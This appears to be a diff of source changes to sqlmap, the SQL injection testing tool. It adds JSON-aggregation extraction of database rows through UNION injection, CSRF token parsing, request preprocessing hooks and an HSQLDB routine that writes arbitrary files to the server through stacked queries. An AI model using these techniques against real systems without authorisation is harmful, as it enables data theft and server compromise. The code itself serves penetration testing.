for _ in xrange(LIVE_COOKIES_TIMEOUT):
|
||||||
|
if checkFile(conf.liveCookies, raiseOnError=False) and os.path.getsize(conf.liveCookies) > 0:
|
||||||
|
valid = True
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
dataToStdout('.')
|
||||||
|
time.sleep(1)
|
||||||
|
|
||||||
|
dataToStdout("\n")
|
||||||
|
|
||||||
|
if not valid:
|
||||||
|
errMsg = "problem occurred while loading cookies from file '%s'" % conf.liveCookies
|
||||||
|
raise SqlmapValueException(errMsg)
|
||||||
|
|
||||||
|
cookie = openFile(conf.liveCookies).read().strip()
|
||||||
|
cookie = re.sub(r"(?i)\ACookie:\s*", "", cookie)
|
||||||
|
|
||||||
if multipart:
|
if multipart:
|
||||||
post = multipart
|
post = multipart
|
||||||
else:
|
else:
|
||||||
@@ -501,6 +528,16 @@ class Connect(object):
|
|||||||
else:
|
else:
|
||||||
return None, None, None
|
return None, None, None
|
||||||
|
|
||||||
|
for function in kb.preprocessFunctions:
|
||||||
|
try:
|
||||||
|
function(req)
|
||||||
|
except Exception as ex:
|
||||||
|
errMsg = "error occurred while running preprocess "
|
||||||
|
errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex))
|
||||||
|
raise SqlmapGenericException(errMsg)
|
||||||
|
else:
|
||||||
|
post, headers = req.data, req.headers
|
||||||
|
|
||||||
requestHeaders += "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if hasattr(key, "capitalize") else key), getUnicode(value)) for (key, value) in req.header_items()])
|
requestHeaders += "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if hasattr(key, "capitalize") else key), getUnicode(value)) for (key, value) in req.header_items()])
|
||||||
|
|
||||||
if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
|
if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
|
||||||
@@ -815,11 +852,11 @@ class Connect(object):
|
|||||||
else:
|
else:
|
||||||
page = getUnicode(page)
|
page = getUnicode(page)
|
||||||
|
|
||||||
for function in kb.preprocessFunctions:
|
for function in kb.postprocessFunctions:
|
||||||
try:
|
try:
|
||||||
page, responseHeaders, code = function(page, responseHeaders, code)
|
page, responseHeaders, code = function(page, responseHeaders, code)
|
||||||
except Exception as ex:
|
except Exception as ex:
|
||||||
errMsg = "error occurred while running preprocess "
|
errMsg = "error occurred while running postprocess "
|
||||||
errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex))
|
errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex))
|
||||||
raise SqlmapGenericException(errMsg)
|
raise SqlmapGenericException(errMsg)
|
||||||
|
|
||||||
@@ -1089,6 +1126,9 @@ class Connect(object):
|
|||||||
if not match:
|
if not match:
|
||||||
match = re.search(r"\b(?P<name>%s)\s*=\s*['\"]?(?P<value>[^;'\"]+)" % conf.csrfToken, page or "", re.I)
|
match = re.search(r"\b(?P<name>%s)\s*=\s*['\"]?(?P<value>[^;'\"]+)" % conf.csrfToken, page or "", re.I)
|
||||||
|
|
||||||
|
if not match:
|
||||||
|
match = re.search(r"<meta\s+name=[\"']?(?P<name>%s)[\"']?[^>]+\b(value|content)=[\"']?(?P<value>[^>\"']+)" % conf.csrfToken, page or "", re.I)
|
||||||
|
|
||||||
if match:
|
if match:
|
||||||
token.name, token.value = match.group("name"), match.group("value")
|
token.name, token.value = match.group("name"), match.group("value")
|
||||||
|
|
||||||
|
|||||||
@@ -126,7 +126,7 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar
|
|||||||
kb.inferenceMode = False
|
kb.inferenceMode = False
|
||||||
|
|
||||||
if not kb.bruteMode:
|
if not kb.bruteMode:
|
||||||
debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start))
|
debugMsg = "performed %d quer%s in %.2f seconds" % (count, 'y' if count == 1 else "ies", calculateDeltaSeconds(start))
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
return value
|
return value
|
||||||
|
|||||||
@@ -160,7 +160,7 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
|
|||||||
if not hasattr(result, "read"):
|
if not hasattr(result, "read"):
|
||||||
def _(self, length=None):
|
def _(self, length=None):
|
||||||
try:
|
try:
|
||||||
retVal = getSafeExString(ex)
|
retVal = getSafeExString(ex) # Note: pyflakes mistakenly marks 'ex' as undefined (NOTE: tested in both Python2 and Python3)
|
||||||
except:
|
except:
|
||||||
retVal = ""
|
retVal = ""
|
||||||
return retVal
|
return retVal
|
||||||
|
|||||||
@@ -506,7 +506,7 @@ class Metasploit(object):
|
|||||||
if IS_WIN:
|
if IS_WIN:
|
||||||
timeout = 3
|
timeout = 3
|
||||||
|
|
||||||
inp = ""
|
inp = b""
|
||||||
_ = time.time()
|
_ = time.time()
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
|
|||||||
@@ -719,7 +719,7 @@ def queryOutputLength(expression, payload):
|
|||||||
lengthExprUnescaped = agent.forgeQueryOutputLength(expression)
|
lengthExprUnescaped = agent.forgeQueryOutputLength(expression)
|
||||||
count, length = bisection(payload, lengthExprUnescaped, charsetType=CHARSET_TYPE.DIGITS)
|
count, length = bisection(payload, lengthExprUnescaped, charsetType=CHARSET_TYPE.DIGITS)
|
||||||
|
|
||||||
debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start))
|
debugMsg = "performed %d quer%s in %.2f seconds" % (count, 'y' if count == 1 else "ies", calculateDeltaSeconds(start))
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
if length == " ":
|
if length == " ":
|
||||||
|
|||||||
@@ -108,7 +108,7 @@ def dnsUse(payload, expression):
|
|||||||
hashDBWrite(expression, output)
|
hashDBWrite(expression, output)
|
||||||
|
|
||||||
if not kb.bruteMode:
|
if not kb.bruteMode:
|
||||||
debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start))
|
debugMsg = "performed %d quer%s in %.2f seconds" % (count, 'y' if count == 1 else "ies", calculateDeltaSeconds(start))
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
elif conf.dnsDomain:
|
elif conf.dnsDomain:
|
||||||
|
|||||||
@@ -462,7 +462,7 @@ def errorUse(expression, dump=False):
|
|||||||
duration = calculateDeltaSeconds(start)
|
duration = calculateDeltaSeconds(start)
|
||||||
|
|
||||||
if not kb.bruteMode:
|
if not kb.bruteMode:
|
||||||
debugMsg = "performed %d queries in %.2f seconds" % (kb.counters[getTechnique()], duration)
|
debugMsg = "performed %d quer%s in %.2f seconds" % (kb.counters[getTechnique()], 'y' if kb.counters[getTechnique()] == 1 else "ies", duration)
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
return value
|
return value
|
||||||
|
|||||||
@@ -5,10 +5,9 @@ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
|||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
import binascii
|
import json
|
||||||
import re
|
import re
|
||||||
import time
|
import time
|
||||||
import xml.etree.ElementTree
|
|
||||||
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
from lib.core.bigarray import BigArray
|
from lib.core.bigarray import BigArray
|
||||||
@@ -32,14 +31,11 @@ from lib.core.common import isNumPosStrValue
|
|||||||
from lib.core.common import listToStrValue
|
from lib.core.common import listToStrValue
|
||||||
from lib.core.common import parseUnionPage
|
from lib.core.common import parseUnionPage
|
||||||
from lib.core.common import removeReflectiveValues
|
from lib.core.common import removeReflectiveValues
|
||||||
from lib.core.common import safeStringFormat
|
|
||||||
from lib.core.common import singleTimeDebugMessage
|
from lib.core.common import singleTimeDebugMessage
|
||||||
from lib.core.common import singleTimeWarnMessage
|
from lib.core.common import singleTimeWarnMessage
|
||||||
from lib.core.common import unArrayizeValue
|
from lib.core.common import unArrayizeValue
|
||||||
from lib.core.common import wasLastResponseDBMSError
|
from lib.core.common import wasLastResponseDBMSError
|
||||||
from lib.core.compat import xrange
|
from lib.core.compat import xrange
|
||||||
from lib.core.convert import decodeBase64
|
|
||||||
from lib.core.convert import getBytes
|
|
||||||
from lib.core.convert import getUnicode
|
from lib.core.convert import getUnicode
|
||||||
from lib.core.convert import htmlUnescape
|
from lib.core.convert import htmlUnescape
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
@@ -74,7 +70,7 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
|
|||||||
if retVal is None:
|
if retVal is None:
|
||||||
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
|
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
|
||||||
|
|
||||||
if not kb.rowXmlMode:
|
if not kb.jsonAggMode:
|
||||||
injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
|
injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
|
||||||
kb.unionDuplicates = vector[7]
|
kb.unionDuplicates = vector[7]
|
||||||
kb.forcePartialUnion = vector[8]
|
kb.forcePartialUnion = vector[8]
|
||||||
@@ -99,7 +95,35 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
|
|||||||
|
|
||||||
incrementCounter(PAYLOAD.TECHNIQUE.UNION)
|
incrementCounter(PAYLOAD.TECHNIQUE.UNION)
|
||||||
|
|
||||||
if not kb.rowXmlMode:
|
if kb.jsonAggMode:
|
||||||
|
if Backend.isDbms(DBMS.MSSQL):
|
||||||
|
output = extractRegexResult(r"%s(?P<result>.*)%s" % (kb.chars.start, kb.chars.stop), page or "")
|
||||||
|
if output:
|
||||||
|
try:
|
||||||
|
retVal = ""
|
||||||
|
fields = re.findall(r'"([^"]+)":', extractRegexResult(r"{(?P<result>[^}]+)}", output))
|
||||||
|
for row in json.loads(output):
|
||||||
|
retVal += "%s%s%s" % (kb.chars.start, kb.chars.delimiter.join(getUnicode(row[field] or NULL) for field in fields), kb.chars.stop)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
retVal = getUnicode(retVal)
|
||||||
|
elif Backend.isDbms(DBMS.PGSQL):
|
||||||
|
output = extractRegexResult(r"(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop), page or "")
|
||||||
|
if output:
|
||||||
|
retVal = output
|
||||||
|
else:
|
||||||
|
output = extractRegexResult(r"%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop), page or "")
|
||||||
|
if output:
|
||||||
|
try:
|
||||||
|
retVal = ""
|
||||||
|
for row in json.loads(output):
|
||||||
|
retVal += "%s%s%s" % (kb.chars.start, row, kb.chars.stop)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
retVal = getUnicode(retVal)
|
||||||
|
else:
|
||||||
# Parse the returned page to get the exact UNION-based
|
# Parse the returned page to get the exact UNION-based
|
||||||
# SQL injection output
|
# SQL injection output
|
||||||
def _(regex):
|
def _(regex):
|
||||||
@@ -115,40 +139,6 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
|
|||||||
page = page.replace(kb.chars.stop[:-1], kb.chars.stop)
|
page = page.replace(kb.chars.stop[:-1], kb.chars.stop)
|
||||||
|
|
||||||
retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop))
|
retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop))
|
||||||
else:
|
|
||||||
output = extractRegexResult(r"(?P<result>(<row.+?/>)+)", page)
|
|
||||||
if output:
|
|
||||||
try:
|
|
||||||
root = xml.etree.ElementTree.fromstring(safeStringFormat("<root>%s</root>", getBytes(output)))
|
|
||||||
retVal = ""
|
|
||||||
for column in kb.dumpColumns:
|
|
||||||
base64 = True
|
|
||||||
for child in root:
|
|
||||||
value = child.attrib.get(column, "").strip()
|
|
||||||
if value and not re.match(r"\A[a-zA-Z0-9+/]+={0,2}\Z", value):
|
|
||||||
base64 = False
|
|
||||||
break
|
|
||||||
|
|
||||||
try:
|
|
||||||
decodeBase64(value)
|
|
||||||
except (binascii.Error, TypeError):
|
|
||||||
base64 = False
|
|
||||||
break
|
|
||||||
|
|
||||||
if base64:
|
|
||||||
for child in root:
|
|
||||||
child.attrib[column] = decodeBase64(child.attrib.get(column, ""), binary=False) or NULL
|
|
||||||
|
|
||||||
for child in root:
|
|
||||||
row = []
|
|
||||||
for column in kb.dumpColumns:
|
|
||||||
row.append(child.attrib.get(column, NULL))
|
|
||||||
retVal += "%s%s%s" % (kb.chars.start, kb.chars.delimiter.join(row), kb.chars.stop)
|
|
||||||
|
|
||||||
except:
|
|
||||||
pass
|
|
||||||
else:
|
|
||||||
retVal = getUnicode(retVal)
|
|
||||||
|
|
||||||
if retVal is not None:
|
if retVal is not None:
|
||||||
retVal = getUnicode(retVal, kb.pageEncoding)
|
retVal = getUnicode(retVal, kb.pageEncoding)
|
||||||
@@ -159,7 +149,7 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
|
|||||||
|
|
||||||
hashDBWrite("%s%s" % (conf.hexConvert or False, expression), retVal)
|
hashDBWrite("%s%s" % (conf.hexConvert or False, expression), retVal)
|
||||||
|
|
||||||
elif not kb.rowXmlMode:
|
elif not kb.jsonAggMode:
|
||||||
trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start))
|
trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start))
|
||||||
|
|
||||||
if trimmed:
|
if trimmed:
|
||||||
@@ -169,7 +159,7 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
|
|||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
elif re.search(r"ORDER BY [^ ]+\Z", expression):
|
elif re.search(r"ORDER BY [^ ]+\Z", expression):
|
||||||
debugMsg = "retrying failed SQL query without the ORDER BY clause"
|
debugMsg = "retrying failed SQL query without the ORDER BY clause"
|
||||||
logger.debug(debugMsg)
|
singleTimeDebugMessage(debugMsg)
|
||||||
|
|
||||||
expression = re.sub(r"\s*ORDER BY [^ ]+\Z", "", expression)
|
expression = re.sub(r"\s*ORDER BY [^ ]+\Z", "", expression)
|
||||||
retVal = _oneShotUnionUse(expression, unpack, limited)
|
retVal = _oneShotUnionUse(expression, unpack, limited)
|
||||||
@@ -236,13 +226,6 @@ def unionUse(expression, unpack=True, dump=False):
|
|||||||
# Set kb.partRun in case the engine is called from the API
|
# Set kb.partRun in case the engine is called from the API
|
||||||
kb.partRun = getPartRun(alias=False) if conf.api else None
|
kb.partRun = getPartRun(alias=False) if conf.api else None
|
||||||
|
|
||||||
if Backend.isDbms(DBMS.MSSQL) and kb.dumpColumns:
|
|
||||||
kb.rowXmlMode = True
|
|
||||||
_ = "(%s FOR XML RAW, BINARY BASE64)" % expression
|
|
||||||
output = _oneShotUnionUse(_, False)
|
|
||||||
value = parseUnionPage(output)
|
|
||||||
kb.rowXmlMode = False
|
|
||||||
|
|
||||||
if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper():
|
if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper():
|
||||||
# Removed ORDER BY clause because UNION does not play well with it
|
# Removed ORDER BY clause because UNION does not play well with it
|
||||||
expression = re.sub(r"(?i)\s*ORDER BY\s+[\w,]+", "", expression)
|
expression = re.sub(r"(?i)\s*ORDER BY\s+[\w,]+", "", expression)
|
||||||
@@ -250,6 +233,22 @@ def unionUse(expression, unpack=True, dump=False):
|
|||||||
debugMsg += "it does not play well with UNION query SQL injection"
|
debugMsg += "it does not play well with UNION query SQL injection"
|
||||||
singleTimeDebugMessage(debugMsg)
|
singleTimeDebugMessage(debugMsg)
|
||||||
|
|
||||||
|
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL) and expressionFields:
|
||||||
|
match = re.search(r"SELECT\s*(.+?)\bFROM", expression, re.I)
|
||||||
|
if match and not (Backend.isDbms(DBMS.ORACLE) and FROM_DUMMY_TABLE[DBMS.ORACLE] in expression):
|
||||||
|
kb.jsonAggMode = True
|
||||||
|
if Backend.isDbms(DBMS.MYSQL):
|
||||||
|
query = expression.replace(expressionFields, "CONCAT('%s',JSON_ARRAYAGG(CONCAT_WS('%s',%s)),'%s')" % (kb.chars.start, kb.chars.delimiter, expressionFields, kb.chars.stop), 1)
|
||||||
|
elif Backend.isDbms(DBMS.ORACLE):
|
||||||
|
query = expression.replace(expressionFields, "'%s'||JSON_ARRAYAGG(%s)||'%s'" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join(expressionFieldsList), kb.chars.stop), 1)
|
||||||
|
elif Backend.isDbms(DBMS.PGSQL): # Note: ARRAY_AGG does CSV alike output, thus enclosing start/end inside each item
|
||||||
|
query = expression.replace(expressionFields, "ARRAY_AGG('%s'||%s||'%s')::text" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s::text,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1)
|
||||||
|
elif Backend.isDbms(DBMS.MSSQL):
|
||||||
|
query = "'%s'+(%s FOR JSON AUTO, INCLUDE_NULL_VALUES)+'%s'" % (kb.chars.start, expression, kb.chars.stop)
|
||||||
|
output = _oneShotUnionUse(query, False)
|
||||||
|
value = parseUnionPage(output)
|
||||||
|
kb.jsonAggMode = False
|
||||||
|
|
||||||
# We have to check if the SQL query might return multiple entries
|
# We have to check if the SQL query might return multiple entries
|
||||||
# if the technique is partial UNION query and in such case forge the
|
# if the technique is partial UNION query and in such case forge the
|
||||||
# SQL limiting the query output one entry at a time
|
# SQL limiting the query output one entry at a time
|
||||||
@@ -425,7 +424,7 @@ def unionUse(expression, unpack=True, dump=False):
|
|||||||
duration = calculateDeltaSeconds(start)
|
duration = calculateDeltaSeconds(start)
|
||||||
|
|
||||||
if not kb.bruteMode:
|
if not kb.bruteMode:
|
||||||
debugMsg = "performed %d queries in %.2f seconds" % (kb.counters[PAYLOAD.TECHNIQUE.UNION], duration)
|
debugMsg = "performed %d quer%s in %.2f seconds" % (kb.counters[PAYLOAD.TECHNIQUE.UNION], 'y' if kb.counters[PAYLOAD.TECHNIQUE.UNION] == 1 else "ies", duration)
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
return value
|
return value
|
||||||
|
|||||||
@@ -1147,6 +1147,12 @@ def dictionaryAttack(attack_dict):
|
|||||||
warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)"
|
warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
finally:
|
||||||
|
if _multiprocessing:
|
||||||
|
gc.enable()
|
||||||
|
|
||||||
|
# NOTE: https://github.com/sqlmapproject/sqlmap/issues/4367
|
||||||
|
# NOTE: https://dzone.com/articles/python-101-creating-multiple-processes
|
||||||
for process in processes:
|
for process in processes:
|
||||||
try:
|
try:
|
||||||
process.terminate()
|
process.terminate()
|
||||||
@@ -1154,10 +1160,6 @@ def dictionaryAttack(attack_dict):
|
|||||||
except (OSError, AttributeError):
|
except (OSError, AttributeError):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
finally:
|
|
||||||
if _multiprocessing:
|
|
||||||
gc.enable()
|
|
||||||
|
|
||||||
if retVal:
|
if retVal:
|
||||||
if conf.hashDB:
|
if conf.hashDB:
|
||||||
conf.hashDB.beginTransaction()
|
conf.hashDB.beginTransaction()
|
||||||
|
|||||||
@@ -5,6 +5,12 @@ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
|||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
from lib.core.common import randomStr
|
||||||
|
from lib.core.data import kb
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.core.decorators import stackedmethod
|
||||||
|
from lib.core.enums import PLACE
|
||||||
|
from lib.request import inject
|
||||||
from lib.core.exception import SqlmapUnsupportedFeatureException
|
from lib.core.exception import SqlmapUnsupportedFeatureException
|
||||||
from plugins.generic.filesystem import Filesystem as GenericFilesystem
|
from plugins.generic.filesystem import Filesystem as GenericFilesystem
|
||||||
|
|
||||||
@@ -13,6 +19,41 @@ class Filesystem(GenericFilesystem):
|
|||||||
errMsg = "on HSQLDB it is not possible to read files"
|
errMsg = "on HSQLDB it is not possible to read files"
|
||||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
|
@stackedmethod
|
||||||
errMsg = "on HSQLDB it is not possible to write files"
|
def stackedWriteFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
|
||||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
funcName = randomStr()
|
||||||
|
max_bytes = 1024 * 1024
|
||||||
|
|
||||||
|
debugMsg = "creating JLP procedure '%s'" % funcName
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
addFuncQuery = "CREATE PROCEDURE %s (IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(%s)) " % (funcName, max_bytes)
|
||||||
|
addFuncQuery += "LANGUAGE JAVA DETERMINISTIC NO SQL "
|
||||||
|
addFuncQuery += "EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'"
|
||||||
|
inject.goStacked(addFuncQuery)
|
||||||
|
|
||||||
|
fcEncodedList = self.fileEncode(localFile, "hex", True)
|
||||||
|
fcEncodedStr = fcEncodedList[0][2:]
|
||||||
|
fcEncodedStrLen = len(fcEncodedStr)
|
||||||
|
|
||||||
|
if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
|
||||||
|
warnMsg = "as the injection is on a GET parameter and the file "
|
||||||
|
warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
|
||||||
|
warnMsg += "bytes, this might cause errors in the file "
|
||||||
|
warnMsg += "writing process"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
# Reference: http://hsqldb.org/doc/guide/sqlroutines-chapt.html#src_jrt_procedures
|
||||||
|
invokeQuery = "CALL %s('%s', CAST('%s' AS VARBINARY(%s)))" % (funcName, remoteFile, fcEncodedStr, max_bytes)
|
||||||
|
inject.goStacked(invokeQuery)
|
||||||
|
|
||||||
|
logger.debug("cleaning up" % funcName)
|
||||||
|
delQuery = "DELETE PROCEDURE %s" % funcName
|
||||||
|
inject.goStacked(delQuery)
|
||||||
|
|
||||||
|
message = "the local file '%s' has been written on the back-end DBMS" % localFile
|
||||||
|
message += "file system ('%s')" % remoteFile
|
||||||
|
logger.info(message)
|
||||||
|
|||||||
@@ -144,3 +144,13 @@ class Fingerprint(GenericFingerprint):
|
|||||||
def getHostname(self):
|
def getHostname(self):
|
||||||
warnMsg = "on HSQLDB it is not possible to enumerate the hostname"
|
warnMsg = "on HSQLDB it is not possible to enumerate the hostname"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
|
||||||
|
def checkDbmsOs(self, detailed=False):
|
||||||
|
if Backend.getOs():
|
||||||
|
infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()
|
||||||
|
logger.info(infoMsg)
|
||||||
|
else:
|
||||||
|
self.userChooseDbmsOs()
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -96,7 +96,7 @@ class Filesystem(GenericFilesystem):
|
|||||||
fcEncodedStrLen = len(fcEncodedStr)
|
fcEncodedStrLen = len(fcEncodedStr)
|
||||||
|
|
||||||
if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
|
if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
|
||||||
warnMsg = "the injection is on a GET parameter and the file "
|
warnMsg = "as the injection is on a GET parameter and the file "
|
||||||
warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
|
warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
|
||||||
warnMsg += "bytes, this might cause errors in the file "
|
warnMsg += "bytes, this might cause errors in the file "
|
||||||
warnMsg += "writing process"
|
warnMsg += "writing process"
|
||||||
|
|||||||
@@ -11,6 +11,7 @@ from lib.core.common import Backend
|
|||||||
from lib.core.common import checkFile
|
from lib.core.common import checkFile
|
||||||
from lib.core.common import decloakToTemp
|
from lib.core.common import decloakToTemp
|
||||||
from lib.core.common import flattenValue
|
from lib.core.common import flattenValue
|
||||||
|
from lib.core.common import filterNone
|
||||||
from lib.core.common import isListLike
|
from lib.core.common import isListLike
|
||||||
from lib.core.common import isNoneValue
|
from lib.core.common import isNoneValue
|
||||||
from lib.core.common import isStackingAvailable
|
from lib.core.common import isStackingAvailable
|
||||||
@@ -107,6 +108,7 @@ class Takeover(GenericTakeover):
|
|||||||
|
|
||||||
if isListLike(output):
|
if isListLike(output):
|
||||||
output = flattenValue(output)
|
output = flattenValue(output)
|
||||||
|
output = filterNone(output)
|
||||||
|
|
||||||
if not isNoneValue(output):
|
if not isNoneValue(output):
|
||||||
output = os.linesep.join(output)
|
output = os.linesep.join(output)
|
||||||
|
|||||||
@@ -10,7 +10,6 @@ import re
|
|||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
from lib.core.common import arrayizeValue
|
from lib.core.common import arrayizeValue
|
||||||
from lib.core.common import Backend
|
from lib.core.common import Backend
|
||||||
from lib.core.common import extractRegexResult
|
|
||||||
from lib.core.common import filterNone
|
from lib.core.common import filterNone
|
||||||
from lib.core.common import filterPairValues
|
from lib.core.common import filterPairValues
|
||||||
from lib.core.common import flattenValue
|
from lib.core.common import flattenValue
|
||||||
@@ -23,7 +22,6 @@ from lib.core.common import isTechniqueAvailable
|
|||||||
from lib.core.common import parseSqliteTableSchema
|
from lib.core.common import parseSqliteTableSchema
|
||||||
from lib.core.common import popValue
|
from lib.core.common import popValue
|
||||||
from lib.core.common import pushValue
|
from lib.core.common import pushValue
|
||||||
from lib.core.common import randomStr
|
|
||||||
from lib.core.common import readInput
|
from lib.core.common import readInput
|
||||||
from lib.core.common import safeSQLIdentificatorNaming
|
from lib.core.common import safeSQLIdentificatorNaming
|
||||||
from lib.core.common import safeStringFormat
|
from lib.core.common import safeStringFormat
|
||||||
@@ -54,7 +52,6 @@ from lib.core.settings import REFLECTED_VALUE_MARKER
|
|||||||
from lib.core.settings import UPPER_CASE_DBMSES
|
from lib.core.settings import UPPER_CASE_DBMSES
|
||||||
from lib.core.settings import VERTICA_DEFAULT_SCHEMA
|
from lib.core.settings import VERTICA_DEFAULT_SCHEMA
|
||||||
from lib.request import inject
|
from lib.request import inject
|
||||||
from lib.techniques.union.use import unionUse
|
|
||||||
from lib.utils.brute import columnExists
|
from lib.utils.brute import columnExists
|
||||||
from lib.utils.brute import tableExists
|
from lib.utils.brute import tableExists
|
||||||
from thirdparty import six
|
from thirdparty import six
|
||||||
@@ -525,6 +522,9 @@ class Databases(object):
|
|||||||
else:
|
else:
|
||||||
return kb.data.cachedColumns
|
return kb.data.cachedColumns
|
||||||
|
|
||||||
|
if conf.exclude:
|
||||||
|
tblList = [_ for _ in tblList if re.search(conf.exclude, _, re.I) is None]
|
||||||
|
|
||||||
tblList = filterNone(safeSQLIdentificatorNaming(_, True) for _ in tblList)
|
tblList = filterNone(safeSQLIdentificatorNaming(_, True) for _ in tblList)
|
||||||
|
|
||||||
if bruteForce is None:
|
if bruteForce is None:
|
||||||
@@ -636,18 +636,6 @@ class Databases(object):
|
|||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
values = None
|
values = None
|
||||||
if Backend.isDbms(DBMS.MSSQL) and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
|
|
||||||
expression = query
|
|
||||||
kb.dumpColumns = []
|
|
||||||
kb.rowXmlMode = True
|
|
||||||
|
|
||||||
for column in (extractRegexResult(r"SELECT (?P<result>.+?) FROM", query) or "").split(','):
|
|
||||||
kb.dumpColumns.append(randomStr().lower())
|
|
||||||
expression = expression.replace(column, "%s AS %s" % (column, kb.dumpColumns[-1]), 1)
|
|
||||||
|
|
||||||
values = unionUse(expression)
|
|
||||||
kb.rowXmlMode = False
|
|
||||||
kb.dumpColumns = None
|
|
||||||
|
|
||||||
if values is None:
|
if values is None:
|
||||||
values = inject.getValue(query, blind=False, time=False)
|
values = inject.getValue(query, blind=False, time=False)
|
||||||
|
|||||||
@@ -159,7 +159,7 @@ class Entries(object):
|
|||||||
continue
|
continue
|
||||||
|
|
||||||
kb.dumpColumns = [unsafeSQLIdentificatorNaming(_) for _ in colList]
|
kb.dumpColumns = [unsafeSQLIdentificatorNaming(_) for _ in colList]
|
||||||
colNames = colString = ", ".join(column for column in colList)
|
colNames = colString = ','.join(column for column in colList)
|
||||||
rootQuery = queries[Backend.getIdentifiedDbms()].dump_table
|
rootQuery = queries[Backend.getIdentifiedDbms()].dump_table
|
||||||
|
|
||||||
infoMsg = "fetching entries"
|
infoMsg = "fetching entries"
|
||||||
|
|||||||
@@ -410,9 +410,11 @@ class Search(object):
|
|||||||
|
|
||||||
if tblCond:
|
if tblCond:
|
||||||
if conf.tbl:
|
if conf.tbl:
|
||||||
_ = conf.tbl.split(',')
|
tbls = conf.tbl.split(',')
|
||||||
